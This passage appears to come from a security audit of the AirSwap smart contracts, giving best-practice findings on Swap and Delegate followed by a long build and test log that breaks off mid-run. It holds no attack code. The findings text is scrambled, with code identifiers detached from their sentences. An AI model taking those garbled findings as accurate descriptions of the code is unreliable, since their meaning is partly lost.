non-zero. We recommend returning false if any of these higher-order bits are set to one. •DelegateFactory.has() On L52 of , we have that , as computed by the following expression: . However, this computation does not include all functions in the functions, namely and . It may be better to include these in the hash computation as this would be the more standard interface, and presumably the one that a token would publish to indicate it is ERC20-compliant. •Update: fixed.Delegate.sol ERC20_INTERFACE_ID = 0x277f8169 bytes4(keccak256('transfer(address,uint256)')) ^ bytes4(keccak256('transferFrom(address,address,uint256)')) ^ bytes4(keccak256('balanceOf(address)')) ^ bytes4(keccak256('allowance(address,address)')) ERC20 approve(address, uint256) totalSupply() ERC20 It is not clear how users or the web interface will utilize , however if the user sets too large of values in , it can cause SafeMath to revert when invoking . It may be useful to add when invoking in order to ensure that overflow/underflow will not cause SafeMath to revert. •Delegate.getMaxQuote() setRule() getMaxQuote() require(getMaxQuote(...) > 0) setRule() In , it may be best to check that is either or . With the current setup, the else-branch may accept orders that do not have a correct value. •Update: confirmed as expected behavior to default to ERC20 unless ERC721 is detected.Swap.transferToken() kind ERC721_INTERFACE_ID ERC20_INTERFACE_ID kind On L52 of , it appears that could simply map to a instead of a . • Swap.sol signerNonceStatus bool byte In and these functions may emit an or event, even if the entries already exist in the mapping. It may be better to first check if the corresponding mapping entries already exist in these functions. Similarly, the and functions may emit events, even if the entry did not previously exist in the mapping. •Update: fixed.Swap.authorizeSender() Swap.authorizeSigner() AuthorizeSender AuthorizeSigner revokeSender() revokeSigner() In , consider adding two helper functions for computing price constraints as opposed to duplication on lines L234, L291, L323, L356. •Update: fixed.Delegate.sol In , in the comment on L138, should be . • Update: fixed.Delegate.sol senderToken signerToken The function name is not very clear: invalidate(50) seems like it should invalidate the order with nonce 50, but it only invalidates up to 49. Consider alternative names such as "invalidateBefore". •Update: fixed.Swap.invalidate() It is possible to first then later. This makes it possible to make orders be valid again after they have been canceled in the first place. If this is not an intended behavior, to prevent unexpected consequence, we •Update: confirmed as expected behavior.invalidate(50) invalidate(30) suggest adding a check that thebe larger than . • minimumNonce signerMinimumNonce[msg.sender] Test Results Test Suite Results yarn test yarn run v1.19.2 $ yarn clean && yarn compile && lerna run test --concurrency=1 $ lerna run clean lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run clean" lerna info run Ran npm script 'clean' in '@airswap/tokens' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/transfers' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/types' in 0.2s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/indexer' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/swap' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/deployer' in 0.3s: $ rm -rf ./build && rm -rf ./flatten lerna info run Ran npm script 'clean' in '@airswap/delegate' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/pre-swap-checker' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/wrapper' in 0.3s: $ rm -rf ./build lerna success run Ran npm script 'clean' in 9 packages in 1.3s: lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/tokens lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/deployer lerna success - @airswap/pre-swap-checker $ lerna run compile lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run compile" lerna info run Ran npm script 'compile' in '@airswap/tokens' in 10.6s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/AdaptedERC721.sol > Compiling ./contracts/AdaptedKittyERC721.sol > Compiling ./contracts/ERC1155.sol > Compiling ./contracts/FungibleToken.sol > Compiling ./contracts/IERC721Receiver.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/MintableERC1155Token.sol > Compiling ./contracts/NonFungibleToken.sol > Compiling ./contracts/OMGToken.sol > Compiling ./contracts/OrderTest721.sol > Compiling ./contracts/WETH9.sol > Compiling ./contracts/interfaces/IERC1155.sol > Compiling ./contracts/interfaces/IERC1155Receiver.sol > Compiling ./contracts/interfaces/IWETH.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/tokens/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/types' in 10.8s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Types.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol> Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: /Users/ezulkosk/audits/airswap-protocols/source/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/types/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/transfers' in 12.4s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/TransferHandlerRegistry.sol > Compiling ./contracts/handlers/ERC1155TransferHandler.sol > Compiling ./contracts/handlers/ERC20TransferHandler.sol > Compiling ./contracts/handlers/ERC721TransferHandler.sol > Compiling ./contracts/handlers/KittyCoreTransferHandler.sol > Compiling ./contracts/interfaces/IKittyCoreTokenTransfer.sol > Compiling ./contracts/interfaces/ITransferHandler.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/AdaptedKittyERC721.sol > Compiling @airswap/tokens/contracts/ERC1155.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/MintableERC1155Token.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155Receiver.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/transfers/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/deployer' in 4.3s: $ truffle compile Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. lerna info run Ran npm script 'compile' in '@airswap/indexer' in 13.6s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Index.sol > Compiling ./contracts/Indexer.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/interfaces/IIndexer.sol > Compiling ./contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/delegate/contracts/Delegate.sol > Compiling @airswap/delegate/contracts/DelegateFactory.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegateFactory.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimentalfeatures on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/Delegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/indexer/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/swap' in 14.1s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Swap.sol > Compiling ./contracts/interfaces/ISwap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/AdaptedKittyERC721.sol > Compiling @airswap/tokens/contracts/ERC1155.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/MintableERC1155Token.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/OMGToken.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155Receiver.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC1155TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/ERC721TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/KittyCoreTransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/IKittyCoreTokenTransfer.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/swap/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/pre-swap-checker' in 11.7s: $ truffle compile Compiling your contracts...=========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/PreSwapChecker.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/OMGToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/utils/pre-swap-checker/contracts/PreSwapChecker.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/utils/pre-swap-checker/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/delegate' in 13.0s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Delegate.sol > Compiling ./contracts/DelegateFactory.sol > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/interfaces/IDelegate.sol > Compiling ./contracts/interfaces/IDelegateFactory.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/indexer/contracts/Index.sol > Compiling @airswap/indexer/contracts/Indexer.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/Delegate.sol:18:1: Warning: Experimentalfeatures are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/delegate/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/wrapper' in 12.4s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/HelperMock.sol > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Wrapper.sol > Compiling @airswap/delegate/contracts/Delegate.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/indexer/contracts/Index.sol > Compiling @airswap/indexer/contracts/Indexer.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/WETH9.sol > Compiling @airswap/tokens/contracts/interfaces/IWETH.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/wrapper/contracts/Wrapper.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/wrapper/contracts/HelperMock.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/Delegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/wrapper/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna success run Ran npm script 'compile' in 9 packages in 62.4s:lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/tokens lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/deployer lerna success - @airswap/pre-swap-checker lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run test" lerna info run Ran npm script 'test' in '@airswap/order-utils' in 1.4s: $ mocha test Orders ✓ Checks that a generated order is valid Signatures ✓ Checks that a Version 0x45: personalSign signature is valid ✓ Checks that a Version 0x01: signTypedData signature is valid 3 passing (27ms) lerna info run Ran npm script 'test' in '@airswap/transfers' in 10.1s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: TransferHandlerRegistry Unit Tests Test fetching non-existent handler ✓ test fetching non-existent handler, returns null address Test adding handler to registry ✓ test adding, should pass (87ms) Test adding an existing handler from registry will fail ✓ test adding an existing handler will fail (119ms) Contract: TransferHandlerRegistry Deploying... ✓ Deployed TransferHandlerRegistry contract (56ms) ✓ Deployed test contract "AST" (55ms) ✓ Deployed test contract "MintableERC1155Token" (71ms) ✓ Test adding transferHandler by non-owner reverts (46ms) ✓ Set up TokenRegistry (561ms) Minting ERC20 tokens (AST)... ✓ Mints 1000 AST for Alice (67ms) Approving ERC20 tokens (AST)... ✓ Checks approvals (Alice 250 AST (62ms) ERC20 TransferHandler ✓ Checks balances and allowances for Alice and Bob... (99ms) ✓ Checks that Alice cannot trade 200 AST more than allowance of 50 AST (136ms) ✓ Checks remaining balances and approvals were not updated in failed transfer (86ms) ✓ Adding an id with ERC20TransferHandler will cause revert (51ms) ERC721 and CKitty TransferHandler ✓ Deployed test ERC721 contract "ConcertTicket" (70ms) ✓ Deployed test contract "CKITTY" (51ms) ✓ Carol initiates an ERC721 transfer of ConcertTicket #121 tokens from Alice to Bob (224ms) ✓ Carol fails to perform transfer of ConcertTicket #121 from Bob to Alice when an amount is set (103ms) ✓ Mints a kitty collectible (#54321) for Bob (78ms) ✓ Bob approves KittyCoreHandler to transfer his kitty collectible (47ms) ✓ Carol fails to perform transfer of CKITTY collectable #54321 from Bob to Alice when an amount is set (79ms) ✓ Carol initiates a transfer of CKITTY collectable #54321 from Bob to Alice (72ms) ERC1155 TransferHandler ✓ Mints 100 of Dragon game token (#10) for Alice (65ms) ✓ Check the Dragon game token (#10) balance prior to transfer (39ms) ✓ Alice approves ERC115TransferHandler to transfer all the her ERC1155 tokens (38ms) ✓ Carol initiates an ERC1155 transfer of Dragon game token (#10) from Alice to Bob (107ms) 26 passing (4s) lerna info run Ran npm script 'test' in '@airswap/types' in 9.2s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./test/MockTypes.sol > compilation warnings encountered: /Users/ezulkosk/audits/airswap-protocols/source/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/types/test/MockTypes.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Types Unit TestsTest hashing functions within the library ✓ Test hashOrder (163ms) ✓ Test hashDomain (56ms) 2 passing (2s) lerna info run Ran npm script 'test' in '@airswap/indexer' in 26.4s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/IIndexer.sol > Compiling ./contracts/interfaces/ILocatorWhitelist.sol Contract: Index Unit Tests Test constructor ✓ should setup the linked locators as just a head, length 0 (48ms) Test setLocator ✓ should not allow a non owner to call setLocator (91ms) ✓ should not allow a blank locator to be set (49ms) ✓ should allow an entry to be inserted by the owner (112ms) ✓ should insert subsequent entries in the correct order (230ms) ✓ should insert an identical stake after the pre-existing one (281ms) ✓ should not be able to set a second locator if one already exists for an address (115ms) Test updateLocator ✓ should not allow a non owner to call updateLocator (49ms) ✓ should not allow update to non-existent locator (51ms) ✓ should not allow update to a blank locator (121ms) ✓ should allow an entry to be updated by the owner (161ms) ✓ should update the list order on updated score (287ms) Test getting entries ✓ should return the entry of a user (73ms) ✓ should return empty entry for an unset user Test unsetLocator ✓ should not allow a non owner to call unsetLocator (43ms) ✓ should leave state unchanged for someone who hasnt staked (100ms) ✓ should unset the entry for a valid user (230ms) Test getScore ✓ should return no score for a non-user (101ms) ✓ should return the correct score for a valid user Test getLocator ✓ should return empty locator for a non-user (78ms) ✓ should return the correct locator for a valid user (38ms) Test getLocators ✓ returns an array of empty locators ✓ returns specified number of elements if < length (267ms) ✓ returns only length if requested number if larger (198ms) ✓ starts the array at the specified starting user (190ms) ✓ starts the array at the specified starting user - longer list (543ms) ✓ returns 